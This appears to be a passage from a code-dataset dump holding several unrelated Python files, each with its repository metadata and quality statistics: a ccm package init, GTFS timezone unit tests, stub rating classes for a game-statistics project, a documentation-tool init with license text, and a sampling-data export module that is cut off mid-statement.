a5b0028fd2b72ec036a4725e93ba29d73cb753a6
[ "BSD-3-Clause" ]
3
2015-10-31T10:39:25.000Z
2019-04-27T20:19:33.000Z
linux/lib/python2.7/dist-packages/ccm/__init__.py
nmercier/linux-cross-gcc
a5b0028fd2b72ec036a4725e93ba29d73cb753a6
[ "BSD-3-Clause" ]
null
null
null
linux/lib/python2.7/dist-packages/ccm/__init__.py
nmercier/linux-cross-gcc
a5b0028fd2b72ec036a4725e93ba29d73cb753a6
[ "BSD-3-Clause" ]
null
null
null
from ccm.Conflicts import * from ccm.Window import * from ccm.Settings import * from ccm.Constants import * from ccm.Widgets import * from ccm.Utils import *
22.571429
27
0.772152
24
158
5.083333
0.375
0.344262
0.532787
0
0
0
0
0
0
0
0
0
0.151899
158
6
28
26.333333
0.910448
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
a5a0c9fd219ef5c8a7a658c949ae20181e5b5bba
12,628
py
Python
usecase/test/test_process_timezones_for_gtfs_metadata.py
MobilityData/mobility-database-interface
c6eb62b09e4784219c1d02e9f7cb88f77beaa2d8
[ "Apache-2.0" ]
4
2021-03-12T10:40:47.000Z
2022-01-11T10:56:53.000Z
usecase/test/test_process_timezones_for_gtfs_metadata.py
MobilityData/mobility-database-interface
c6eb62b09e4784219c1d02e9f7cb88f77beaa2d8
[ "Apache-2.0" ]
181
2021-03-09T15:27:51.000Z
2022-01-31T15:25:28.000Z
usecase/test/test_process_timezones_for_gtfs_metadata.py
MobilityData/mobility-database-interface
c6eb62b09e4784219c1d02e9f7cb88f77beaa2d8
[ "Apache-2.0" ]
null
null
null
import pandas as pd from unittest import TestCase from unittest.mock import MagicMock, PropertyMock from gtfs_kit.feed import Feed from representation.gtfs_metadata import GtfsMetadata from representation.gtfs_representation import GtfsRepresentation from usecase.process_timezones_for_gtfs_metadata import ( process_timezones_for_gtfs_metadata, AGENCY_TIMEZONE, STOP_TIMEZONE, ) MONTREAL_TIMEZONE = "America/Montreal" TORONTO_TIMEZONE = "America/Toronto" class TestProcessTimezonesForGtfsMetadata(TestCase): def test_process_timezones_with_none_gtfs_representation( self, ): self.assertRaises(TypeError, process_timezones_for_gtfs_metadata, None) def test_process_timezones_with_invalid_gtfs_representation( self, ): mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = str self.assertRaises( TypeError, process_timezones_for_gtfs_metadata, mock_gtfs_representation ) def test_process_timezones_with_missing_files(self): mock_dataset = MagicMock() mock_dataset.__class__ = Feed mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) def test_process_timezones_with_missing_fields(self): mock_agency = PropertyMock(return_value=pd.DataFrame({})) mock_stops = PropertyMock(return_value=pd.DataFrame({})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_metadata.main_timezone.assert_not_called() mock_metadata.other_timezones.assert_not_called() def test_process_timezones_with_missing_stop_timezones(self): mock_agency = PropertyMock( return_value=pd.DataFrame({AGENCY_TIMEZONE: [MONTREAL_TIMEZONE]}) ) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_agency.assert_called() self.assertEqual(mock_metadata.main_timezone, MONTREAL_TIMEZONE) mock_metadata.other_timezones.assert_not_called() def test_process_timezones_with_missing_stop_timezones_fields(self): mock_stops = PropertyMock(return_value=pd.DataFrame()) mock_agency = PropertyMock( return_value=pd.DataFrame({AGENCY_TIMEZONE: [MONTREAL_TIMEZONE]}) ) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_agency.assert_called() self.assertEqual(mock_metadata.main_timezone, MONTREAL_TIMEZONE) mock_metadata.other_timezones.assert_not_called() def test_process_timezones_with_empty_stop_timezones( self, ): mock_stops = PropertyMock(return_value=pd.DataFrame({STOP_TIMEZONE: []})) mock_agency = PropertyMock( return_value=pd.DataFrame({AGENCY_TIMEZONE: [MONTREAL_TIMEZONE]}) ) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_agency.assert_called() self.assertEqual(mock_metadata.main_timezone, MONTREAL_TIMEZONE) mock_metadata.other_timezones.assert_not_called() def test_process_timezones_with_missing_agency(self): mock_stops = PropertyMock( return_value=pd.DataFrame( {STOP_TIMEZONE: [MONTREAL_TIMEZONE, TORONTO_TIMEZONE]} ) ) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_metadata.main_timezone.assert_not_called() self.assertEqual( mock_metadata.other_timezones, [MONTREAL_TIMEZONE, TORONTO_TIMEZONE] ) def test_process_timezones_with_missing_agency_fields( self, ): mock_stops = PropertyMock( return_value=pd.DataFrame( {STOP_TIMEZONE: [MONTREAL_TIMEZONE, TORONTO_TIMEZONE]} ) ) mock_agency = PropertyMock(return_value=pd.DataFrame({})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_agency.assert_called() mock_metadata.main_timezone.assert_not_called() self.assertEqual( mock_metadata.other_timezones, [MONTREAL_TIMEZONE, TORONTO_TIMEZONE] ) def test_process_timezones_with_empty_agency( self, ): mock_stops = PropertyMock( return_value=pd.DataFrame( {STOP_TIMEZONE: [MONTREAL_TIMEZONE, TORONTO_TIMEZONE]} ) ) mock_agency = PropertyMock(return_value=pd.DataFrame({AGENCY_TIMEZONE: []})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_agency.assert_called() mock_metadata.main_timezone.assert_not_called() self.assertEqual( mock_metadata.other_timezones, [MONTREAL_TIMEZONE, TORONTO_TIMEZONE] ) def test_process_timezones_with_non_string_main_timezone(self): mock_stops = PropertyMock( return_value=pd.DataFrame( {STOP_TIMEZONE: [MONTREAL_TIMEZONE, TORONTO_TIMEZONE]} ) ) mock_agency = PropertyMock(return_value=pd.DataFrame({AGENCY_TIMEZONE: [0]})) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_agency.assert_called() mock_metadata.main_timezone.assert_not_called() self.assertEqual( mock_metadata.other_timezones, [MONTREAL_TIMEZONE, TORONTO_TIMEZONE] ) def test_process_timezones_with_non_string_stop_timezones(self): mock_stops = PropertyMock(return_value=pd.DataFrame({STOP_TIMEZONE: [0, 1]})) mock_agency = PropertyMock( return_value=pd.DataFrame({AGENCY_TIMEZONE: [MONTREAL_TIMEZONE]}) ) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_agency.assert_called() self.assertEqual(mock_metadata.main_timezone, MONTREAL_TIMEZONE) mock_metadata.other_timezones.assert_not_called() def test_process_timezones(self): mock_stops = PropertyMock( return_value=pd.DataFrame( {STOP_TIMEZONE: [MONTREAL_TIMEZONE, TORONTO_TIMEZONE]} ) ) mock_agency = PropertyMock( return_value=pd.DataFrame({AGENCY_TIMEZONE: [MONTREAL_TIMEZONE]}) ) mock_dataset = MagicMock() mock_dataset.__class__ = Feed type(mock_dataset).agency = mock_agency type(mock_dataset).stops = mock_stops mock_metadata = MagicMock() mock_metadata.__class__ = GtfsMetadata mock_gtfs_representation = MagicMock() mock_gtfs_representation.__class__ = GtfsRepresentation type(mock_gtfs_representation).dataset = mock_dataset type(mock_gtfs_representation).metadata = mock_metadata under_test = process_timezones_for_gtfs_metadata(mock_gtfs_representation) self.assertIsInstance(under_test, GtfsRepresentation) mock_stops.assert_called() mock_agency.assert_called() self.assertEqual(mock_metadata.main_timezone, MONTREAL_TIMEZONE) self.assertEqual(mock_metadata.other_timezones, [TORONTO_TIMEZONE])
40.474359
85
0.717374
1,290
12,628
6.489922
0.046512
0.131151
0.152413
0.068323
0.943144
0.929288
0.915074
0.904563
0.874343
0.867296
0
0.000303
0.21587
12,628
311
86
40.604502
0.845183
0
0
0.779468
0
0
0.002455
0
0
0
0
0
0.186312
1
0.04943
false
0
0.026616
0
0.079848
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a5a529f05806233de8739b8b276d355e492dde70
6,407
py
Python
loldib/getratings/models/NA/na_amumu/na_amumu_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_amumu/na_amumu_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_amumu/na_amumu_sup.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
from getratings.models.ratings import Ratings class NA_Amumu_Sup_Aatrox(Ratings): pass class NA_Amumu_Sup_Ahri(Ratings): pass class NA_Amumu_Sup_Akali(Ratings): pass class NA_Amumu_Sup_Alistar(Ratings): pass class NA_Amumu_Sup_Amumu(Ratings): pass class NA_Amumu_Sup_Anivia(Ratings): pass class NA_Amumu_Sup_Annie(Ratings): pass class NA_Amumu_Sup_Ashe(Ratings): pass class NA_Amumu_Sup_AurelionSol(Ratings): pass class NA_Amumu_Sup_Azir(Ratings): pass class NA_Amumu_Sup_Bard(Ratings): pass class NA_Amumu_Sup_Blitzcrank(Ratings): pass class NA_Amumu_Sup_Brand(Ratings): pass class NA_Amumu_Sup_Braum(Ratings): pass class NA_Amumu_Sup_Caitlyn(Ratings): pass class NA_Amumu_Sup_Camille(Ratings): pass class NA_Amumu_Sup_Cassiopeia(Ratings): pass class NA_Amumu_Sup_Chogath(Ratings): pass class NA_Amumu_Sup_Corki(Ratings): pass class NA_Amumu_Sup_Darius(Ratings): pass class NA_Amumu_Sup_Diana(Ratings): pass class NA_Amumu_Sup_Draven(Ratings): pass class NA_Amumu_Sup_DrMundo(Ratings): pass class NA_Amumu_Sup_Ekko(Ratings): pass class NA_Amumu_Sup_Elise(Ratings): pass class NA_Amumu_Sup_Evelynn(Ratings): pass class NA_Amumu_Sup_Ezreal(Ratings): pass class NA_Amumu_Sup_Fiddlesticks(Ratings): pass class NA_Amumu_Sup_Fiora(Ratings): pass class NA_Amumu_Sup_Fizz(Ratings): pass class NA_Amumu_Sup_Galio(Ratings): pass class NA_Amumu_Sup_Gangplank(Ratings): pass class NA_Amumu_Sup_Garen(Ratings): pass class NA_Amumu_Sup_Gnar(Ratings): pass class NA_Amumu_Sup_Gragas(Ratings): pass class NA_Amumu_Sup_Graves(Ratings): pass class NA_Amumu_Sup_Hecarim(Ratings): pass class NA_Amumu_Sup_Heimerdinger(Ratings): pass class NA_Amumu_Sup_Illaoi(Ratings): pass class NA_Amumu_Sup_Irelia(Ratings): pass class NA_Amumu_Sup_Ivern(Ratings): pass class NA_Amumu_Sup_Janna(Ratings): pass class NA_Amumu_Sup_JarvanIV(Ratings): pass class NA_Amumu_Sup_Jax(Ratings): pass class NA_Amumu_Sup_Jayce(Ratings): pass class NA_Amumu_Sup_Jhin(Ratings): pass class NA_Amumu_Sup_Jinx(Ratings): pass class NA_Amumu_Sup_Kalista(Ratings): pass class NA_Amumu_Sup_Karma(Ratings): pass class NA_Amumu_Sup_Karthus(Ratings): pass class NA_Amumu_Sup_Kassadin(Ratings): pass class NA_Amumu_Sup_Katarina(Ratings): pass class NA_Amumu_Sup_Kayle(Ratings): pass class NA_Amumu_Sup_Kayn(Ratings): pass class NA_Amumu_Sup_Kennen(Ratings): pass class NA_Amumu_Sup_Khazix(Ratings): pass class NA_Amumu_Sup_Kindred(Ratings): pass class NA_Amumu_Sup_Kled(Ratings): pass class NA_Amumu_Sup_KogMaw(Ratings): pass class NA_Amumu_Sup_Leblanc(Ratings): pass class NA_Amumu_Sup_LeeSin(Ratings): pass class NA_Amumu_Sup_Leona(Ratings): pass class NA_Amumu_Sup_Lissandra(Ratings): pass class NA_Amumu_Sup_Lucian(Ratings): pass class NA_Amumu_Sup_Lulu(Ratings): pass class NA_Amumu_Sup_Lux(Ratings): pass class NA_Amumu_Sup_Malphite(Ratings): pass class NA_Amumu_Sup_Malzahar(Ratings): pass class NA_Amumu_Sup_Maokai(Ratings): pass class NA_Amumu_Sup_MasterYi(Ratings): pass class NA_Amumu_Sup_MissFortune(Ratings): pass class NA_Amumu_Sup_MonkeyKing(Ratings): pass class NA_Amumu_Sup_Mordekaiser(Ratings): pass class NA_Amumu_Sup_Morgana(Ratings): pass class NA_Amumu_Sup_Nami(Ratings): pass class NA_Amumu_Sup_Nasus(Ratings): pass class NA_Amumu_Sup_Nautilus(Ratings): pass class NA_Amumu_Sup_Nidalee(Ratings): pass class NA_Amumu_Sup_Nocturne(Ratings): pass class NA_Amumu_Sup_Nunu(Ratings): pass class NA_Amumu_Sup_Olaf(Ratings): pass class NA_Amumu_Sup_Orianna(Ratings): pass class NA_Amumu_Sup_Ornn(Ratings): pass class NA_Amumu_Sup_Pantheon(Ratings): pass class NA_Amumu_Sup_Poppy(Ratings): pass class NA_Amumu_Sup_Quinn(Ratings): pass class NA_Amumu_Sup_Rakan(Ratings): pass class NA_Amumu_Sup_Rammus(Ratings): pass class NA_Amumu_Sup_RekSai(Ratings): pass class NA_Amumu_Sup_Renekton(Ratings): pass class NA_Amumu_Sup_Rengar(Ratings): pass class NA_Amumu_Sup_Riven(Ratings): pass class NA_Amumu_Sup_Rumble(Ratings): pass class NA_Amumu_Sup_Ryze(Ratings): pass class NA_Amumu_Sup_Sejuani(Ratings): pass class NA_Amumu_Sup_Shaco(Ratings): pass class NA_Amumu_Sup_Shen(Ratings): pass class NA_Amumu_Sup_Shyvana(Ratings): pass class NA_Amumu_Sup_Singed(Ratings): pass class NA_Amumu_Sup_Sion(Ratings): pass class NA_Amumu_Sup_Sivir(Ratings): pass class NA_Amumu_Sup_Skarner(Ratings): pass class NA_Amumu_Sup_Sona(Ratings): pass class NA_Amumu_Sup_Soraka(Ratings): pass class NA_Amumu_Sup_Swain(Ratings): pass class NA_Amumu_Sup_Syndra(Ratings): pass class NA_Amumu_Sup_TahmKench(Ratings): pass class NA_Amumu_Sup_Taliyah(Ratings): pass class NA_Amumu_Sup_Talon(Ratings): pass class NA_Amumu_Sup_Taric(Ratings): pass class NA_Amumu_Sup_Teemo(Ratings): pass class NA_Amumu_Sup_Thresh(Ratings): pass class NA_Amumu_Sup_Tristana(Ratings): pass class NA_Amumu_Sup_Trundle(Ratings): pass class NA_Amumu_Sup_Tryndamere(Ratings): pass class NA_Amumu_Sup_TwistedFate(Ratings): pass class NA_Amumu_Sup_Twitch(Ratings): pass class NA_Amumu_Sup_Udyr(Ratings): pass class NA_Amumu_Sup_Urgot(Ratings): pass class NA_Amumu_Sup_Varus(Ratings): pass class NA_Amumu_Sup_Vayne(Ratings): pass class NA_Amumu_Sup_Veigar(Ratings): pass class NA_Amumu_Sup_Velkoz(Ratings): pass class NA_Amumu_Sup_Vi(Ratings): pass class NA_Amumu_Sup_Viktor(Ratings): pass class NA_Amumu_Sup_Vladimir(Ratings): pass class NA_Amumu_Sup_Volibear(Ratings): pass class NA_Amumu_Sup_Warwick(Ratings): pass class NA_Amumu_Sup_Xayah(Ratings): pass class NA_Amumu_Sup_Xerath(Ratings): pass class NA_Amumu_Sup_XinZhao(Ratings): pass class NA_Amumu_Sup_Yasuo(Ratings): pass class NA_Amumu_Sup_Yorick(Ratings): pass class NA_Amumu_Sup_Zac(Ratings): pass class NA_Amumu_Sup_Zed(Ratings): pass class NA_Amumu_Sup_Ziggs(Ratings): pass class NA_Amumu_Sup_Zilean(Ratings): pass class NA_Amumu_Sup_Zyra(Ratings): pass
15.364508
46
0.761667
972
6,407
4.59465
0.151235
0.216301
0.370802
0.463502
0.797582
0.797582
0
0
0
0
0
0
0.173404
6,407
416
47
15.401442
0.843278
0
0
0.498195
0
0
0
0
0
0
0
0
0
1
0
true
0.498195
0.00361
0
0.501805
0
0
0
0
null
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
1
0
0
7
b1b1cd2dc848c6cda997e22465416cc866c038d4
3,234
py
Python
doc/nlcpydoc/__init__.py
SX-Aurora/nlcpy
0a53eec8778073bc48b12687b7ce37ab2bf2b7e0
[ "BSD-3-Clause" ]
11
2020-07-31T02:21:55.000Z
2022-03-10T03:12:11.000Z
doc/nlcpydoc/__init__.py
SX-Aurora/nlcpy
0a53eec8778073bc48b12687b7ce37ab2bf2b7e0
[ "BSD-3-Clause" ]
null
null
null
doc/nlcpydoc/__init__.py
SX-Aurora/nlcpy
0a53eec8778073bc48b12687b7ce37ab2bf2b7e0
[ "BSD-3-Clause" ]
null
null
null
# # * The source code in this file is based on the soure code of numpydoc. # # # NLCPy License # # # Copyright (c) 2020-2021 NEC Corporation # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # * Neither NEC Corporation nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # ## numpydoc License ## # # Copyright (C) 2008 Stefan van der Walt <stefan@mentat.za.net>, # Pauli Virtanen <pav@iki.fi> # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING # IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. __version__ = '1.0.0dev0' def setup(app, *args, **kwargs): from .nlcpydoc import setup return setup(app, *args, **kwargs)
49.753846
88
0.742733
451
3,234
5.317073
0.345898
0.030025
0.028357
0.038365
0.792327
0.792327
0.769808
0.769808
0.769808
0.769808
0
0.006977
0.202226
3,234
64
89
50.53125
0.922481
0.921459
0
0
0
0
0.047368
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.75
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
593ca131c55c995c2bb92e77ebcfc55ca22c3a50
39,645
py
Python
SBaaS_COBRA/stage02_physiology_sampledData_io.py
dmccloskey/SBaaS_COBRA
65635495c4fb7cc98f5c6629e495850e908ea858
[ "MIT" ]
null
null
null
SBaaS_COBRA/stage02_physiology_sampledData_io.py
dmccloskey/SBaaS_COBRA
65635495c4fb7cc98f5c6629e495850e908ea858
[ "MIT" ]
null
null
null
SBaaS_COBRA/stage02_physiology_sampledData_io.py
dmccloskey/SBaaS_COBRA
65635495c4fb7cc98f5c6629e495850e908ea858
[ "MIT" ]
null
null
null
# System import json # SBaaS from .stage02_physiology_sampledData_query import stage02_physiology_sampledData_query from .stage02_physiology_analysis_query import stage02_physiology_analysis_query from SBaaS_base.sbaas_template_io import sbaas_template_io # Resources from io_utilities.base_importData import base_importData from io_utilities.base_exportData import base_exportData from listDict.listDict import listDict from sampling.sampling import cobra_sampling from sampling.sampling_statistics import cobra_sampling_n from python_statistics.calculate_histogram import calculate_histogram from ddt_python.ddt_container_filterMenuAndChart2dAndTable import ddt_container_filterMenuAndChart2dAndTable from ddt_python.ddt_container import ddt_container class stage02_physiology_sampledData_io(stage02_physiology_sampledData_query, sbaas_template_io): def import_dataStage02PhysiologySamplingParameters_add(self, filename): '''table adds''' data = base_importData(); data.read_csv(filename); data.format_data(); self.add_dataStage02PhysiologySamplingParameters(data.data); data.clear_data(); def import_dataStage02PhysiologySamplingParameters_update(self, filename): '''table adds''' data = base_importData(); data.read_csv(filename); data.format_data(); self.update_dataStage02PhysiologySamplingParameters(data.data); def export_dataStage02PhysiologySampledPoints_js(self, analysis_id_I, simulation_ids_I = [], rxn_ids_I = [], query_I={}, data_dir_I='tmp' ): '''Visualize the sampling distribution DESCRIPTION: tile1=filtermenu tile2=sampling distribution tile3=table ''' calculatehistogram = calculate_histogram(); physiology_analysis_query = stage02_physiology_analysis_query(self.session,self.engine,self.settings); data_sampledPoints_O = []; data_O = []; #get the analysis info simulation_ids = physiology_analysis_query.get_simulationID_analysisID_dataStage02PhysiologyAnalysis(analysis_id_I); if simulation_ids_I: simulation_ids = [s for s in simulation_ids if s in simulation_ids_I]; for simulation_id in simulation_ids: #get the data_dirs for the simulations and read in the points sampledPoints = self.get_rows_simulationID_dataStage02PhysiologySampledPoints(simulation_id); sampledPoints = sampledPoints[0]; data_sampledPoints_O.append(sampledPoints); # get simulation information simulation_info_all = []; simulation_info_all = self.get_rows_simulationIDAndSimulationType_dataStage02PhysiologySimulation(simulation_id,'sampling'); if not simulation_info_all: print('simulation not found!') return; simulation_info = simulation_info_all[0]; # unique constraint guarantees only 1 row will be returned # get simulation parameters simulation_parameters_all = []; simulation_parameters_all = self.get_rows_simulationID_dataStage02PhysiologySamplingParameters(simulation_id); if not simulation_parameters_all: print('simulation not found!') return; simulation_parameters = simulation_parameters_all[0]; # unique constraint guarantees only 1 row will be returned #fill the sampledData with the actual points sampling = cobra_sampling(model_I=None,data_dir_I = sampledPoints['data_dir'],loops_I=sampledPoints['infeasible_loops']); if simulation_parameters['sampler_id']=='gpSampler': # load the results of sampling sampling.get_points_matlab(matlab_data=None,sampler_model_name='sampler_out'); sampling.remove_loopsFromPoints(); elif simulation_parameters['sampler_id']=='optGpSampler': sampling.get_points_json(); sampling.remove_loopsFromPoints(); else: print('sampler_id not recognized'); #store the sampledPoints for k,v in sampling.points.items(): if rxn_ids_I: if not k in rxn_ids_I: continue; n_bins = 100; calc_bins_I = False; x_O,dx_O,y_O = calculatehistogram.histogram(data_I=v,n_bins_I=n_bins,calc_bins_I=calc_bins_I); for i,b in enumerate(x_O): tmp = { 'simulation_id':simulation_id, 'rxn_id':k, #'feature_units':feature_units, 'bin':b, 'bin_width':dx_O[i], 'frequency':int(y_O[i]), 'used_':True, 'comment_':None}; data_O.append(tmp); #data_listDict = listDict(); #data_listDict.set_dictList(sampling.points); #data_listDict.convert_dictList2DataFrame(); #points, rxn_ids = data_listDict.get_flattenedDataAndColumnLabels(); #data_listDict.clear_allData(); #data_listDict.add_column2DataFrame('rxn_id',rxn_ids); #data_listDict.add_column2DataFrame('points',points); #data_listDict.add_column2DataFrame('simulation_id',simulation_id); #data_listDict.convert_dataFrame2ListDict(); #data_O.extend(data_listDict.get_listDict()); #make the DDT histograms # visualization parameters data1_keys = ['simulation_id', 'rxn_id', 'bin', ]; data1_nestkeys = [ 'bin' ]; data1_keymap = { 'xdata':'bin', 'ydata':'frequency', 'serieslabel':'simulation_id', 'featureslabel':'bin', 'tooltiplabel':'rxn_id', 'ydatalb':None, 'ydataub':None}; nsvgtable = ddt_container_filterMenuAndChart2dAndTable(); nsvgtable.make_filterMenuAndChart2dAndTable( data_filtermenu=data_O, data_filtermenu_keys=data1_keys, data_filtermenu_nestkeys=data1_nestkeys, data_filtermenu_keymap=data1_keymap, data_svg_keys=None, data_svg_nestkeys=None, data_svg_keymap=None, data_table_keys=None, data_table_nestkeys=None, data_table_keymap=None, data_svg=None, data_table=None, svgtype='verticalbarschart2d_01', tabletype='responsivetable_01', svgx1axislabel='', svgy1axislabel='', tablekeymap = [data1_keymap], svgkeymap = [data1_keymap], formtile2datamap=[0], tabletile2datamap=[0], svgtile2datamap=[0], #calculated on the fly svgfilters=None, svgtileheader='Sampled points', tablefilters=None, tableheaders=None ); if data_dir_I=='tmp': filename_str = self.settings['visualization_data'] + '/tmp/ddt_data.js' elif data_dir_I=='data_json': data_json_O = nsvgtable.get_allObjects_js(); return data_json_O; with open(filename_str,'w') as file: 